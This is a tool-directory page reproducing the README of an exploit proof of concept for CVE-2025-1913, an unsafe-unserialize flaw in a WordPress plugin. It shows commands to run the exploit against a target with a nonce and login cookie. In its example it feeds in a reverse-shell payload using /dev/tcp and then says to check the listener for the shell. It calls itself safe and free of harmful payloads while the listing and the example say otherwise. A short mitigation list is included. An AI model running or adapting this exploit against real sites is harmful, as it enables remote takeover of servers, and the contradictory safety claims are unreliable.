Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-1913-PoC — A PoC demonstrating CVE-2025-1913, showing how the plugin’s unsafe unserialize handling can lead to high-impact behavior in controlled environments. Contains a harmful payload for authorized testing only. Use strictly in isolated labs and for defensive research. | Kitploit
Tools/GitHubGitHub/s0haib518-ksa/cve-2025-1913-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubs0haib518-ksa/cve-2025-1913-poc

CVE-2025-1913-PoC

A PoC demonstrating CVE-2025-1913, showing how the plugin’s unsafe unserialize handling can lead to high-impact behavior in controlled environments. Contains a harmful payload for authorized testing only. Use strictly in isolated labs and for defensive research.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
218 months agoNot yet reviewed
Share

CVE-2025-1913 -- Proof of Concept (PoC)

This repository contains an educational-only Proof of Concept (PoC) for CVE-2025-1913, created by Suhaib518 🇸🇦. This PoC demonstrates how specially crafted serialized PHP input may trigger vulnerable logic in affected WordPress components. The PoC is safe and does not include harmful payloads.

⚠️ Disclaimer: This PoC is for learning, research, and defensive security testing only. Do NOT use it on servers you do not own or have explicit permission to test.


📌 Overview

The vulnerability exists due to unsafe handling of PHP serialized data in certain WordPress plugin workflows. This PoC shows how an attacker could supply crafted serialized structures that cause unintended internal behavior.

This repository includes a Python script that:

  • Builds custom serialized PHP objects
  • Encodes them for WordPress AJAX-based export endpoints
  • Sends a controlled request to demonstrate the issue safely

📂 Files in This Repository

root@kitploit:~
.
├── CVE-2025-1913-PoC.py         # The PoC script created by Suhaib518 KSA
└── README.md                    # Documentation

🚀 Usage

1. Install Requirements

The script uses only built-in Python modules except for requests:

root@kitploit:~
pip install requests

2. Run the interactive exploit script

root@kitploit:~
python3 exploit.py \
  -c "Class" \
  -H "https://target.com" \
  --wp-nonce "1234567890" \
  --cookie "wordpress_logged_in=YOUR_COOKIE_HERE"

You will be asked:

  • How many properties to include
  • The name/value for each property

The script will then serialize them, build a WordPress request, and send it.


✔️ Example Command (Successful Exploitation Flow)

Below is an example command demonstrating usage with example values (these are not malicious, only showing the process):

root@kitploit:~
python3 exploit.py   -c "WP_User_Query"   -H "https://example.com"   --wp-nonce "89f1a2b3c4"   --cookie "wordpress_logged_in_abc123=abcd1234efgh5678"

Example answers to the interactive questions:

root@kitploit:~
[?] How many properties does this class have? 2
[?] Name of property #1: file
[?] Value for 'file': shell.sh
[?] Name of property #2: shell
[?] Value for 'shell': sh -i >& /dev/tcp/IP/PORT 0>&1

The script will then print:

root@kitploit:~
[*] Sending request…
....Check the listener for the shell.

🛡️ Mitigation (High-Level)

  • Avoid using unserialize() on untrusted input
  • Validate all form parameters and AJAX requests
  • Keep plugins updated
  • Use modern data formats such as JSON instead of PHP serialization

📜 License

MIT License.


🙌 Author

Created by Suhaib518 🇸🇦.

Download Tool